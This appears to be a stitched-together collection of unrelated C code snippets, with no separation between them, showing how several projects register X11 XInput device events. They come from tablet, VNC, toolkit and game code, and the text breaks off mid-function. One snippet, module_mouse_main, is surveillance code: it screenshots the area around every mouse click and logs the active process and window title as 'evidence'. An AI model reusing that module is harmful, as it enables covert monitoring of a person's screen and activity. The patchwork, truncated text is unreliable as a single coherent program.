static int
register_events(Display *dpy,
XDeviceInfo *info,
char *dev_name,
Bool handle_proximity)
{
int number = 0; /* number of events registered */
XEventClass event_list[7];
int i;
XDevice *device;
Window root_win;
unsigned long screen;
XInputClassInfo *ip;
screen = DefaultScreen(dpy);
root_win = RootWindow(dpy, screen);
device = XOpenDevice(dpy, info->id);
if (!device) {
fprintf(stderr, "unable to open device '%s'\n", dev_name);
return 0;
}
if (device->num_classes > 0) {
for (ip = device->classes, i=0; i<info->num_classes; ip++, i++) {
switch (ip->input_class) {
case KeyClass:
DeviceKeyPress(device, key_press_type, event_list[number]); number++;
DeviceKeyRelease(device, key_release_type, event_list[number]); number++;
break;
case ButtonClass:
DeviceButtonPress(device, button_press_type, event_list[number]); number++;
DeviceButtonRelease(device, button_release_type, event_list[number]); number++;
break;
case ValuatorClass:
DeviceMotionNotify(device, motion_type, event_list[number]); number++;
if (handle_proximity) {
ProximityIn(device, proximity_in_type, event_list[number]); number++;
ProximityOut(device, proximity_out_type, event_list[number]); number++;
}
break;
default:
fprintf(stderr, "unknown class\n");
break;
}
}
if (XSelectExtensionEvent(dpy, root_win, event_list, number)) {
fprintf(stderr, "error selecting extended events\n");
return 0;
}
}
return number;
}
static int
register_events(XDeviceInfo *info, XDevice *device,
Bool handle_proximity)
{
int number = 0; /* number of events registered */
XEventClass event_list[7];
int i;
unsigned long screen;
XInputClassInfo *ip;
screen = DefaultScreen(display);
if (device->num_classes > 0) {
for (ip = device->classes, i=0; i<info->num_classes;
ip++, i++) {
switch (ip->input_class) {
case ButtonClass:
DeviceButtonPress(device, button_press_type,
event_list[number]);
number++;
DeviceButtonRelease(device,
button_release_type, event_list[number]);
number++;
break;
case ValuatorClass:
DeviceMotionNotify(device, motion_type,
event_list[number]); number++;
if (handle_proximity) {
ProximityIn(device, proximity_in_type,
event_list[number]); number++;
ProximityOut(device,
proximity_out_type,
event_list[number]); number++;
}
break;
default:
fprintf(stderr,
"Found unknown device class %d\n",
ip->input_class);
break;
}
}
if (XSelectExtensionEvent(display, root, event_list, number)) {
fprintf(stderr, "Error selecting extended events\n");
return 0;
}
}
return number;
}
void kis_x11_init_tablet()
{
KisConfig cfg;
bool disableTouchOnCanvas = cfg.disableTouchOnCanvas();
// TODO: free this structure on exit
KIS_X11 = new KisX11Data;
KIS_X11->display = QX11Info::display();
kis_x11_create_intern_atoms();
// XInputExtension
KIS_X11->use_xinput = false;
KIS_X11->xinput_major = 0;
KIS_X11->xinput_eventbase = 0;
KIS_X11->xinput_errorbase = 0;
// See if Xinput is supported on the connected display
KIS_X11->ptrXCloseDevice = 0;
KIS_X11->ptrXListInputDevices = 0;
KIS_X11->ptrXOpenDevice = 0;
KIS_X11->ptrXFreeDeviceList = 0;
KIS_X11->ptrXSelectExtensionEvent = 0;
KIS_X11->use_xinput = XQueryExtension(KIS_X11->display, "XInputExtension", &KIS_X11->xinput_major,
&KIS_X11->xinput_eventbase, &KIS_X11->xinput_errorbase);
if (KIS_X11->use_xinput) {
KIS_X11->ptrXCloseDevice = XINPUT_LOAD(XCloseDevice);
KIS_X11->ptrXListInputDevices = XINPUT_LOAD(XListInputDevices);
KIS_X11->ptrXOpenDevice = XINPUT_LOAD(XOpenDevice);
KIS_X11->ptrXFreeDeviceList = XINPUT_LOAD(XFreeDeviceList);
KIS_X11->ptrXSelectExtensionEvent = XINPUT_LOAD(XSelectExtensionEvent);
}
if (KIS_X11->use_xinput) {
int ndev,
i,
j;
bool gotStylus,
gotEraser;
XDeviceInfo *devices = 0, *devs;
XInputClassInfo *ip;
XAnyClassPtr any;
XValuatorInfoPtr v;
XAxisInfoPtr a;
XDevice *dev = 0;
bool needCheckIfItIsReallyATablet;
bool touchWacomTabletWorkaround;
if (KIS_X11->ptrXListInputDevices) {
devices = KIS_X11->ptrXListInputDevices(KIS_X11->display, &ndev);
if (!devices)
qWarning("QApplication: Failed to get list of tablet devices");
}
if (!devices)
ndev = -1;
QTabletEvent::TabletDevice deviceType;
for (devs = devices, i = 0; i < ndev && devs; i++, devs++) {
dev = 0;
deviceType = QTabletEvent::NoDevice;
gotStylus = false;
gotEraser = false;
needCheckIfItIsReallyATablet = false;
touchWacomTabletWorkaround = false;
#if defined(Q_OS_IRIX)
#else
if (devs->type == KIS_ATOM(XWacomStylus) || devs->type == KIS_ATOM(XTabletStylus) ||devs->type == KIS_ATOM(XInputTablet)) {
if (devs->type == KIS_ATOM(XInputTablet)) {
kis_haveEvdevTablets = true;
}
deviceType = QTabletEvent::Stylus;
gotStylus = true;
} else if (devs->type == KIS_ATOM(XWacomEraser) || devs->type == KIS_ATOM(XTabletEraser)) {
deviceType = QTabletEvent::XFreeEraser;
gotEraser = true;
} else if ((devs->type == KIS_ATOM(XInputKeyboard) ||
devs->type == KIS_ATOM(AiptekStylus))
&& QString(devs->name) == "Aiptek") {
/**
* Some really "nice" tablets (more precisely,
* Genius G-Pen 510 (aiptek driver)) report that
* they are a "keyboard". Well, we cannot convince
* them that they are not, so just check if this
* "keyboard" has motion and proximity events. If
* it looks like a duck... :)
*/
kis_haveEvdevTablets = true;
deviceType = QTabletEvent::Stylus;
gotStylus = true;
needCheckIfItIsReallyATablet = true;
} else if (disableTouchOnCanvas &&
devs->type == KIS_ATOM(WacomTouch) &&
QString(devs->name).contains("Wacom")) {
kis_haveEvdevTablets = true;
deviceType = QTabletEvent::Stylus;
gotStylus = true;
touchWacomTabletWorkaround = true;
}
#endif
if (deviceType == QTabletEvent::NoDevice)
continue;
if (gotStylus || gotEraser) {
if (KIS_X11->ptrXOpenDevice)
dev = KIS_X11->ptrXOpenDevice(KIS_X11->display, devs->id);
if (!dev)
continue;
QTabletDeviceData device_data;
device_data.deviceType = deviceType;
device_data.eventCount = 0;
device_data.device = dev;
device_data.xinput_motion = -1;
device_data.xinput_key_press = -1;
device_data.xinput_key_release = -1;
device_data.xinput_button_press = -1;
device_data.xinput_button_release = -1;
device_data.xinput_proximity_in = -1;
device_data.xinput_proximity_out = -1;
device_data.isTouchWacomTablet = touchWacomTabletWorkaround;
//device_data.widgetToGetPress = 0;
if (dev->num_classes > 0) {
for (ip = dev->classes, j = 0; j < dev->num_classes;
ip++, j++) {
switch (ip->input_class) {
case KeyClass:
DeviceKeyPress(dev, device_data.xinput_key_press,
device_data.eventList[device_data.eventCount]);
if (device_data.eventList[device_data.eventCount])
++device_data.eventCount;
DeviceKeyRelease(dev, device_data.xinput_key_release,
device_data.eventList[device_data.eventCount]);
if (device_data.eventList[device_data.eventCount])
++device_data.eventCount;
break;
case ButtonClass:
DeviceButtonPress(dev, device_data.xinput_button_press,
device_data.eventList[device_data.eventCount]);
if (device_data.eventList[device_data.eventCount])
++device_data.eventCount;
DeviceButtonRelease(dev, device_data.xinput_button_release,
device_data.eventList[device_data.eventCount]);
if (device_data.eventList[device_data.eventCount])
++device_data.eventCount;
break;
case ValuatorClass:
// I'm only going to be interested in motion when the
// stylus is already down anyway!
DeviceMotionNotify(dev, device_data.xinput_motion,
device_data.eventList[device_data.eventCount]);
if (device_data.eventList[device_data.eventCount])
++device_data.eventCount;
ProximityIn(dev, device_data.xinput_proximity_in, device_data.eventList[device_data.eventCount]);
if (device_data.eventList[device_data.eventCount])
++device_data.eventCount;
ProximityOut(dev, device_data.xinput_proximity_out, device_data.eventList[device_data.eventCount]);
if (device_data.eventList[device_data.eventCount])
++device_data.eventCount;
default:
break;
}
}
}
if (needCheckIfItIsReallyATablet &&
(device_data.xinput_motion == -1 ||
device_data.xinput_proximity_in == -1 ||
device_data.xinput_proximity_out == -1)) {
continue;
}
if (KisTabletDebugger::instance()->initializationDebugEnabled()) {
dbgTablet << "###################################";
dbgTablet << "# Adding a tablet device:" << devs->name;
dbgTablet << "Device Type:" << KisTabletDebugger::tabletDeviceToString(deviceType);
}
device_data.savedAxesData.tryFetchAxesMapping(dev);
// get the min/max value for pressure!
any = (XAnyClassPtr) (devs->inputclassinfo);
for (j = 0; j < devs->num_classes; j++) {
if (any->c_class == ValuatorClass) {
v = (XValuatorInfoPtr) any;
a = (XAxisInfoPtr) ((char *) v +
sizeof (XValuatorInfo));
#if defined (Q_OS_IRIX)
#else
device_data.minX = a[0].min_value;
device_data.maxX = a[0].max_value;
device_data.minY = a[1].min_value;
device_data.maxY = a[1].max_value;
device_data.minPressure = a[2].min_value;
device_data.maxPressure = a[2].max_value;
device_data.minTanPressure = 0;
device_data.maxTanPressure = 0;
device_data.minZ = 0;
device_data.maxZ = 0;
device_data.minRotation = a[5].min_value;
device_data.maxRotation = a[5].max_value;
if (KisTabletDebugger::instance()->initializationDebugEnabled()) {
dbgTablet << "# Axes limits data";
dbgTablet << "X: " << device_data.minX << device_data.maxX;
dbgTablet << "Y: " << device_data.minY << device_data.maxY;
dbgTablet << "Z: " << device_data.minZ << device_data.maxZ;
dbgTablet << "Pressure:" << device_data.minPressure << device_data.maxPressure;
dbgTablet << "Rotation:" << device_data.minRotation << device_data.maxRotation;
dbgTablet << "T. Pres: " << device_data.minTanPressure << device_data.maxTanPressure;
}
#endif
// got the max pressure no need to go further...
break;
}
any = (XAnyClassPtr) ((char *) any + any->length);
} // end of for loop
qt_tablet_devices()->append(device_data);
} // if (gotStylus || gotEraser)
}
if (KIS_X11->ptrXFreeDeviceList)
KIS_X11->ptrXFreeDeviceList(devices);
}
}
JNIEXPORT void JNICALL Java_com_turbovnc_vncviewer_Viewport_setupExtInput
(JNIEnv *env, jobject obj)
{
jclass cls, eidcls;
jfieldID fid;
jmethodID mid;
Display *dpy = NULL;
Window win = 0;
XDeviceInfo *devInfo = NULL;
XDevice *device = NULL;
int nDevices = 0, i, ci, ai, nEvents = 0;
int buttonPressType = -1, buttonReleaseType = -1, motionType = -1;
XEventClass events[100] = { -1, -1, -1, -1, -1, -1, -1, -1, -1, -1};
jobject extInputDevice;
if ((dpy = XOpenDisplay(NULL)) == NULL)
_throw("Could not open X display");
bailif0(cls = (*env)->GetObjectClass(env, obj));
bailif0(fid = (*env)->GetFieldID(env, cls, "x11win", "J"));
if ((win = (Window)(*env)->GetLongField(env, obj, fid)) == 0)
_throw("X window handle has not been initialized");
if ((devInfo = XListInputDevices(dpy, &nDevices)) == NULL)
_throw("Could not list XI devices");
for (i = 0; i < nDevices; i++) {
char *type;
XAnyClassPtr classInfo = devInfo[i].inputclassinfo;
CARD32 canGenerate = 0, productID = 0;
if (devInfo[i].use != IsXExtensionPointer)
continue;
if (devInfo[i].type == None)
continue;
type = XGetAtomName(dpy, devInfo[i].type);
if (!strcmp(type, "MOUSE")) {
XFree(type);
continue;
}
/* TurboVNC-specific: we use productID to represent the device type, so
we can recreate it on the server */
if (!strcmp(type, "CURSOR"))
productID = rfbGIIDevTypeCursor;
else if (!strcmp(type, "STYLUS"))
productID = rfbGIIDevTypeStylus;
else if (!strcmp(type, "ERASER"))
productID = rfbGIIDevTypeEraser;
else if (!strcmp(type, "TOUCH"))
productID = rfbGIIDevTypeTouch;
else if (!strcmp(type, "PAD"))
productID = rfbGIIDevTypePad;
XFree(type);
bailif0(eidcls =
(*env)->FindClass(env, "com/turbovnc/rfb/ExtInputDevice"));
bailif0(extInputDevice = (*env)->AllocObject(env, eidcls));
SET_STRING(eidcls, extInputDevice, name, devInfo[i].name);
SET_LONG(eidcls, extInputDevice, vendorID, 4242);
SET_LONG(eidcls, extInputDevice, productID, productID);
SET_LONG(eidcls, extInputDevice, id, devInfo[i].id);
for (ci = 0; ci < devInfo[i].num_classes; ci++) {
switch (classInfo->class) {
case ButtonClass:
{
XButtonInfoPtr b = (XButtonInfoPtr)classInfo;
SET_INT(eidcls, extInputDevice, numButtons, b->num_buttons);
canGenerate |= rfbGIIButtonPressMask | rfbGIIButtonReleaseMask;
break;
}
case ValuatorClass:
{
XValuatorInfoPtr v = (XValuatorInfoPtr)classInfo;
jclass valcls;
bailif0(valcls = (*env)->FindClass(env,
"com/turbovnc/rfb/ExtInputDevice$Valuator"));
if (v->mode == Absolute)
canGenerate |= rfbGIIValuatorAbsoluteMask;
else if (v->mode == Relative)
canGenerate |= rfbGIIValuatorRelativeMask;
for (ai = 0; ai < v->num_axes; ai++) {
jobject valuator;
XAxisInfoPtr a = &v->axes[ai];
char longName[75], shortName[5];
bailif0(valuator = (*env)->AllocObject(env, valcls));
SET_INT(valcls, valuator, index, ai);
snprintf(longName, 75, "Valuator %d", ai);
SET_STRING(valcls, valuator, longName, longName);
snprintf(shortName, 5, "%d", ai);
SET_STRING(valcls, valuator, shortName, shortName);
SET_INT(valcls, valuator, rangeMin, a->min_value);
SET_INT(valcls, valuator, rangeCenter,
(a->min_value + a->max_value) / 2);
SET_INT(valcls, valuator, rangeMax, a->max_value);
SET_INT(valcls, valuator, siUnit, rfbGIIUnitLength);
SET_INT(valcls, valuator, siDiv, a->resolution);
bailif0(mid = (*env)->GetMethodID(env, eidcls, "addValuator",
"(Lcom/turbovnc/rfb/ExtInputDevice$Valuator;)V"));
(*env)->CallVoidMethod(env, extInputDevice, mid, valuator);
}
break;
}
}
classInfo = (XAnyClassPtr)((char *)classInfo + classInfo->length);
}
SET_LONG(eidcls, extInputDevice, canGenerate, canGenerate);
if (canGenerate & rfbGIIValuatorAbsoluteMask)
SET_BOOL(eidcls, extInputDevice, absolute, 1);
if ((device = XOpenDevice(dpy, devInfo[i].id)) == NULL)
_throw("Could not open XI device");
for (ci = 0; ci < device->num_classes; ci++) {
if (device->classes[ci].input_class == ButtonClass) {
DeviceButtonPress(device, buttonPressType, events[nEvents]);
nEvents++;
DeviceButtonRelease(device, buttonReleaseType, events[nEvents]);
nEvents++;
} else if (device->classes[ci].input_class == ValuatorClass) {
DeviceMotionNotify(device, motionType, events[nEvents]);
nEvents++;
}
}
XCloseDevice(dpy, device); device=NULL;
bailif0(mid = (*env)->GetMethodID(env, cls, "addInputDevice",
"(Lcom/turbovnc/rfb/ExtInputDevice;)V"));
(*env)->CallVoidMethod(env, obj, mid, extInputDevice);
}
XFreeDeviceList(devInfo); devInfo = NULL;
if (nEvents == 0) {
printf("No extended input devices.\n");
goto bailout;
}
if (XSelectExtensionEvent(dpy, win, events, nEvents))
_throw("Could not select XI events");
SET_INT(cls, obj, buttonPressType, buttonPressType);
SET_INT(cls, obj, buttonReleaseType, buttonReleaseType);
SET_INT(cls, obj, motionType, motionType);
SET_LONG(cls, obj, x11dpy, (jlong)dpy);
printf("TurboVNC Helper: Listening for XInput events on %s (window 0x%.8x)\n",
DisplayString(dpy), (unsigned int)win);
bailout:
if (dpy && device) XCloseDevice(dpy, device);
if (devInfo) XFreeDeviceList(devInfo);
}
int Run(Display* pDisp, UI* pUI, FORMATTYPE fmt, const char* pszDeviceName)
{
int nRtn;
XDevice* pDev;
XDeviceInfoPtr pDevInfo;
int nEventListCnt = 0;
XEventClass eventList[32];
XEventClass cls;
/* get the device by name */
pDevInfo = GetDevice(pDisp,pszDeviceName);
if (!pDevInfo)
{
fprintf(stderr,"Unable to find input device '%s'\n",pszDeviceName);
return 1;
}
/* open device */
pDev = XOpenDevice(pDisp,pDevInfo->id);
if (!pDev)
{
fprintf(stderr,"Unable to open input device '%s'\n",pszDeviceName);
return 1;
}
/* key events */
DeviceKeyPress(pDev,gnInputEvent[INPUTEVENT_KEY_PRESS],cls);
if (cls) eventList[nEventListCnt++] = cls;
DeviceKeyRelease(pDev,gnInputEvent[INPUTEVENT_KEY_RELEASE],cls);
if (cls) eventList[nEventListCnt++] = cls;
/* focus events */
DeviceFocusIn(pDev,gnInputEvent[INPUTEVENT_FOCUS_IN],cls);
if (cls) eventList[nEventListCnt++] = cls;
DeviceFocusOut(pDev,gnInputEvent[INPUTEVENT_FOCUS_OUT],cls);
if (cls) eventList[nEventListCnt++] = cls;
/* button events */
DeviceButtonPress(pDev,gnInputEvent[INPUTEVENT_BTN_PRESS],cls);
if (cls) eventList[nEventListCnt++] = cls;
DeviceButtonRelease(pDev,gnInputEvent[INPUTEVENT_BTN_RELEASE],cls);
if (cls) eventList[nEventListCnt++] = cls;
/* proximity events */
ProximityIn(pDev,gnInputEvent[INPUTEVENT_PROXIMITY_IN],cls);
if (cls) eventList[nEventListCnt++] = cls;
ProximityOut(pDev,gnInputEvent[INPUTEVENT_PROXIMITY_OUT],cls);
if (cls) eventList[nEventListCnt++] = cls;
/* motion events */
DeviceMotionNotify(pDev,gnInputEvent[INPUTEVENT_MOTION_NOTIFY],cls);
if (cls) eventList[nEventListCnt++] = cls;
/* device state */
DeviceStateNotify(pDev,gnInputEvent[INPUTEVENT_DEVICE_STATE_NOTIFY],cls);
if (cls) eventList[nEventListCnt++] = cls;
DeviceMappingNotify(pDev,
gnInputEvent[INPUTEVENT_DEVICE_MAPPING_NOTIFY],cls);
if (cls) eventList[nEventListCnt++] = cls;
ChangeDeviceNotify(pDev,gnInputEvent[INPUTEVENT_CHANGE_DEVICE_NOTIFY],cls);
if (cls) eventList[nEventListCnt++] = cls;
#if 0
/* this cuts the motion data down - not sure if this is useful */
DevicePointerMotionHint(pDev,
gnInputEvent[INPUTEVENT_DEVICE_POINTER_MOTION_HINT],cls);
if (cls) eventList[nEventListCnt++] = cls;
#endif
/* button motion */
DeviceButtonMotion(pDev,
gnInputEvent[INPUTEVENT_DEVICE_BUTTON_MOTION],cls);
if (cls) eventList[nEventListCnt++] = cls;
DeviceButton1Motion(pDev,
gnInputEvent[INPUTEVENT_DEVICE_BUTTON1_MOTION],cls);
if (cls) eventList[nEventListCnt++] = cls;
DeviceButton2Motion(pDev,
gnInputEvent[INPUTEVENT_DEVICE_BUTTON2_MOTION],cls);
if (cls) eventList[nEventListCnt++] = cls;
DeviceButton3Motion(pDev,
gnInputEvent[INPUTEVENT_DEVICE_BUTTON3_MOTION],cls);
if (cls) eventList[nEventListCnt++] = cls;
DeviceButton4Motion(pDev,
gnInputEvent[INPUTEVENT_DEVICE_BUTTON4_MOTION],cls);
if (cls) eventList[nEventListCnt++] = cls;
DeviceButton5Motion(pDev,
gnInputEvent[INPUTEVENT_DEVICE_BUTTON5_MOTION],cls);
if (cls) eventList[nEventListCnt++] = cls;
/* specify which events to report */
/* XSelectInput(pDisp,wnd,0x00FFFFFF ^ PointerMotionHintMask); */
/* XSelectExtensionEvent(pDisp,wnd,eventList,nEventListCnt); */
/* grab device - work whether pointer is in active window or not */
XGrabDevice(pDisp,pDev,DefaultRootWindow(pDisp),
0, /* no owner events */
nEventListCnt, eventList, /* events */
GrabModeAsync, /* don't queue, give me whatever you got */
GrabModeAsync, /* same */
CurrentTime);
/* fire up the UI */
if ((nRtn=pUI->Init()) != 0)
fprintf(stderr,"failed to initialize UI\n");
else
{
if ((nRtn=pUI->Run(pDisp,pDevInfo,fmt)) != 0)
fprintf(stderr,"failed to run UI\n");
pUI->Term();
}
XUngrabDevice(pDisp,pDev,CurrentTime);
XFree(pDev);
XCloseDisplay(pDisp);
return nRtn;
}
static PyObject * xextdev_grab(PyObject *self, PyObject *args)
{
XEventClass cls;
const char *devname;
int devid;
XAnyClassPtr pClass;
int j;
XEventClass eventList[32];
int nEventListCnt = 0;
if (!display) {
ASSERTCOND(display = XOpenDisplay(NULL),"open display");
/* polling this seems to be the only way
* * to do a timed wait on X events */
x11_fd = ConnectionNumber(display);
xdevList = (XDeviceInfoPtr) XListInputDevices(display, &devcount);
if (!xdevList) {
fprintf(stderr,"Failed to get input device list\n");
return Py_BuildValue("i", 0);
}
}
if (!PyArg_ParseTuple(args, "i", &devid))
return Py_BuildValue("i", 0);
ASSERTCOND(devid<devcount,
"Tried to grab non-existing device id %d (max %d)",
devid,devcount);
xdevInfo = xdevList + devid;
devname = xdevInfo->name;
val = NULL;
pClass = xdevInfo->inputclassinfo;
for (j=0; j<xdevInfo->num_classes; ++j)
{
switch (pClass->class) {
case ValuatorClass:
val = (XValuatorInfoPtr)pClass;
break;
}
pClass = (XAnyClassPtr)((char*)pClass + pClass->length);
}
ASSERTCOND(val,"xinputextdev: Unable to get valuator "
"information of '%s'\n",devname);
/* open device */
ASSERTCOND(xdev = XOpenDevice(display,xdevInfo->id),
"xinputextdev: Unable to open "
"input device '%s'\n",devname);
/* button events */
DeviceButtonPress(xdev,inputEventTypes[INPUTEVENT_BTN_PRESS],cls);
if (cls) eventList[nEventListCnt++] = cls;
DeviceButtonRelease(xdev,inputEventTypes[INPUTEVENT_BTN_RELEASE],cls);
if (cls) eventList[nEventListCnt++] = cls;
/* motion events */
DeviceMotionNotify(xdev,inputEventTypes[INPUTEVENT_MOTION_NOTIFY],cls);
if (cls) eventList[nEventListCnt++] = cls;
/* proximity events */
ProximityOut(xdev,inputEventTypes[INPUTEVENT_PROXIMITY_OUT],cls);
if (cls) eventList[nEventListCnt++] = cls;
ProximityIn(xdev,inputEventTypes[INPUTEVENT_PROXIMITY_IN],cls);
if (cls) eventList[nEventListCnt++] = cls;
/* grab device */
int err = XGrabDevice(display,xdev,DefaultRootWindow(display),
0,nEventListCnt,eventList,
GrabModeAsync,GrabModeAsync,CurrentTime);
if (err == AlreadyGrabbed)
fprintf(stderr,"xinputextdev: Grab error: AlreadyGrabbed\n");
else if (err == GrabNotViewable)
fprintf(stderr, "xinputextdev: Grab error: GrabNotViewable\n");
else if (err == GrabFrozen)
fprintf(stderr, "xinputextdev: Grab error: GrabFrozen\n");
else {
printf("xinputextdev: Device '%s' grabbed.\n",devname);
return Py_BuildValue("[i,i]",
val->axes[0].max_value,
val->axes[1].max_value);
}
return Py_BuildValue("i", 0);
}
void *module_mouse_main(void *args)
{
Display *display = NULL;
int i, devnum = 0, mousenum = 0, buttonrelease = 0;
XDeviceInfo *devinfo = NULL;
XDevice **device = NULL;
XEventClass evlist;
XEvent event;
Window root, child;
int rootX, rootY, childX, childY;
unsigned int mask;
XWindowAttributes wininfo;
int maxfd = -1, xfd = -1;
int width = 40, height = 40;
char *process = NULL, *title = NULL;
int imgx, imgy, imgw, imgh;
fd_set rfds;
struct additional a;
BIO *bio_additional = NULL;
char *additionalptr, *dataptr = NULL;
long additionallen, datalen = 0;
debugme("Module MOUSE started\n");
if(initlib(INIT_LIBXI|INIT_LIBJPEG)) return NULL;
if(MODULE_MOUSE_P) {
width = MODULE_MOUSE_P->width;
height = MODULE_MOUSE_P->height;
}
do {
if((display = XOpenDisplay(NULL)) == NULL) break;
if((xfd = ConnectionNumber(display)) < 0) break;
if(!(devinfo = XListInputDevices(display, &devnum)) || !devnum) break;
if(!(device = calloc(devnum, sizeof(XDevice *)))) break;
if(!(bio_additional = BIO_new(BIO_s_mem()))) break;
for(i = 0; i < devnum; i++) {
if(devinfo[i].use == IsXExtensionPointer) {
if(!(device[i] = XOpenDevice(display, devinfo[i].id))) continue;
DeviceButtonRelease(device[i], buttonrelease, evlist);
XSelectExtensionEvent(display, DefaultRootWindow(display), &evlist, 1);
mousenum++;
}
}
if(!mousenum) break;
maxfd = MAX(xfd, MODULE_MOUSE.event) + 1;
while(MODULE_MOUSE.status != MODULE_STOPPING) {
do {
if(!XPending(display)) {
FD_ZERO(&rfds);
FD_SET(xfd, &rfds);
FD_SET(MODULE_MOUSE.event, &rfds);
if(select(maxfd, &rfds, NULL, NULL, NULL) == -1) break;
}
if(MODULE_MOUSE.status == MODULE_STOPPING) break;
if(XNextEvent(display, &event)) break;
if(event.type != buttonrelease) break;
if(((XDeviceButtonEvent *)&event)->button > 3) break;
XQueryPointer(display, DefaultRootWindow(display), &root, &child, &rootX, &rootY, &childX, &childY, &mask);
XGetWindowAttributes(display, DefaultRootWindow(display), &wininfo);
getwindowproperties(display, getactivewindow(display), &process, &title);
debugme("MOUSE b=%d, x=%d, y=%d (%s | %.20s)\n", ((XDeviceButtonEvent *)&event)->button, rootX, rootY, process, title);
imgx = MAX(rootX - (width / 2), 0);
imgy = MAX(rootY - (height / 2), 0);
imgw = MIN(rootX + (width / 2), wininfo.width) - imgx;
imgh = MIN(rootY + (height / 2), wininfo.height) - imgy;
if(!(datalen = getscreenimage(display, DefaultRootWindow(display), imgx, imgy, imgw, imgh, 90, &dataptr))) break;
a.version = MOUSEMODULE_VERSION;
a.processlen = strlen16(process) + 2;
a.titlelen = strlen16(title) + 2;
a.x = rootX;
a.y = rootY;
a.width = imgw;
a.height = imgh;
(void)BIO_reset(bio_additional);
BIO_write(bio_additional, &a, sizeof(a));
BIO_puts16n(bio_additional, process);
BIO_puts16n(bio_additional, title);
if(!(additionallen = BIO_get_mem_data(bio_additional, &additionalptr))) break;
evidence_write(EVIDENCE_TYPE_MOUSE, additionalptr, additionallen, dataptr, datalen);
} while(0);
if(dataptr) { free(dataptr); dataptr = NULL; }
if(process) { free(process); process = NULL; }
if(title) { free(title); title = NULL; }
}
} while(0);
if(bio_additional) BIO_free(bio_additional);
if(device) {
for(i = 0; i < devnum; i++) if(device[i]) XCloseDevice(display, device[i]);
free(device);
}
if(devinfo) XFreeDeviceList(devinfo);
if(display) XCloseDisplay(display);
debugme("Module MOUSE stopped\n");
return NULL;
}
gint
_clutter_input_device_x11_construct (ClutterInputDevice *device,
ClutterBackendX11 *backend)
{
int n_events = 0;
#ifdef HAVE_XINPUT
ClutterInputDeviceX11 *device_x11;
XDevice *x_device = NULL;
gint device_id;
int i;
device_x11 = CLUTTER_INPUT_DEVICE_X11 (device);
device_id = clutter_input_device_get_device_id (device);
clutter_x11_trap_x_errors ();
/* retrieve the X11 device */
x_device = XOpenDevice (backend->xdpy, device_id);
if (clutter_x11_untrap_x_errors () || x_device == NULL)
{
CLUTTER_NOTE (BACKEND, "Unable to open device %i", device_id);
return 0;
}
device_x11->xdevice = x_device;
CLUTTER_NOTE (BACKEND,
"Registering XINPUT device with XID: %li",
x_device->device_id);
/* We must go through all the classes supported by this device and
* register the appropriate events we want. Each class only appears
* once. We need to store the types with the stage since they are
* created dynamically by the server. They are not device specific.
*/
for (i = 0; i < x_device->num_classes; i++)
{
XInputClassInfo *xclass_info = x_device->classes + i;
int *button_press, *button_release, *motion_notify;
int *key_press, *key_release;
button_press =
&backend->event_types[CLUTTER_X11_XINPUT_BUTTON_PRESS_EVENT];
button_release =
&backend->event_types[CLUTTER_X11_XINPUT_BUTTON_RELEASE_EVENT];
motion_notify =
&backend->event_types[CLUTTER_X11_XINPUT_MOTION_NOTIFY_EVENT];
key_press =
&backend->event_types[CLUTTER_X11_XINPUT_KEY_PRESS_EVENT];
key_release =
&backend->event_types[CLUTTER_X11_XINPUT_KEY_RELEASE_EVENT];
switch (xclass_info->input_class)
{
/* event though XInput 1.x is broken for keyboard-like devices
* it might still be useful to track them down; the core keyboard
* will handle the right events anyway
*/
case KeyClass:
DeviceKeyPress (x_device,
*key_press,
device_x11->xevent_list[n_events]);
n_events++;
DeviceKeyRelease (x_device,
*key_release,
device_x11->xevent_list[n_events]);
n_events++;
break;
case ButtonClass:
DeviceButtonPress (x_device,
*button_press,
device_x11->xevent_list[n_events]);
n_events++;
DeviceButtonRelease (x_device,
*button_release,
device_x11->xevent_list[n_events]);
n_events++;
break;
case ValuatorClass:
DeviceMotionNotify (x_device,
*motion_notify,
device_x11->xevent_list[n_events]);
n_events++;
break;
}
}
device_x11->num_events = n_events;
#endif /* HAVE_XINPUT */
return n_events;
}
/* this piece of code was taken from package xinput-1.12 */
static int
register_events(int player_id,
Display *dpy,
XDeviceInfo *info,
char *dev_name)
{
int number = 0; /* number of events registered */
XEventClass event_list[7];
int i;
XAnyClassPtr any;
XDevice *device;
Window root_win;
unsigned long screen;
XInputClassInfo *ip;
XButtonInfoPtr binfo;
XValuatorInfoPtr vinfo;
screen = DefaultScreen(dpy);
root_win = RootWindow(dpy, screen);
device = XOpenDevice(dpy, info->id);
if (!device) {
fprintf(stderr, "XInput: Unable to open XInput device `%s'\n", dev_name);
return 0;
}
fprintf(stderr, "XInput: Player %d using Device `%s'", player_id + 1, dev_name);
if (device->num_classes > 0) {
any = (XAnyClassPtr)(info->inputclassinfo);
for (ip = device->classes, i=0; i<info->num_classes; ip++, i++) {
switch (ip->input_class) {
case KeyClass:
DeviceKeyPress(device, key_press_type, event_list[number]); number++;
DeviceKeyRelease(device, key_release_type, event_list[number]); number++;
break;
case ButtonClass:
binfo = (XButtonInfoPtr) any;
DeviceButtonPress(device, button_press_type, event_list[number]); number++;
DeviceButtonRelease(device, button_release_type, event_list[number]); number++;
fprintf(stderr, ", %d buttons", binfo->num_buttons);
break;
case ValuatorClass:
vinfo=(XValuatorInfoPtr) any;
DeviceMotionNotify(device, motion_type, event_list[number]); number++;
fprintf(stderr, ", %d axis", vinfo->num_axes);
break;
default:
break;
}
any = (XAnyClassPtr) ((char *) any+any->length);
}
if (XSelectExtensionEvent(dpy, root_win, event_list, number)) {
fprintf(stderr, ": Could not select extended events, not using");
number = 0;
}
} else
fprintf(stderr, " contains no classes, not using");
fprintf(stderr, "\n");
return number;
}
int
snoop_xinput(Window win)
{
int opcode, event, error, numdevs, i, j;
int major, minor, rc, rawmotion = 0;
int ev = 0;
unsigned char mask[(XI_LASTEVENT + 7)/8];
XDeviceInfo *devinfo;
XInputClassInfo *ici;
XDevice *device;
XIEventMask evmasks[1];
if (!XQueryExtension(dpy, "XInputExtension", &opcode, &event, &error)) {
if (debug)
warn("XInput extension not available");
return (0);
}
/*
* If we support xinput 2, use that for raw motion and button events to
* get pointer data when the cursor is over a Chromium window. We
* could also use this to get raw key input and avoid the other XInput
* stuff, but we may need to be able to examine the key value later to
* filter out ignored keys.
*/
major = minor = 2;
rc = XIQueryVersion(dpy, &major, &minor);
if (rc != BadRequest) {
memset(mask, 0, sizeof(mask));
XISetMask(mask, XI_RawMotion);
XISetMask(mask, XI_RawButtonPress);
evmasks[0].deviceid = XIAllMasterDevices;
evmasks[0].mask_len = sizeof(mask);
evmasks[0].mask = mask;
XISelectEvents(dpy, win, evmasks, 1);
XFlush(dpy);
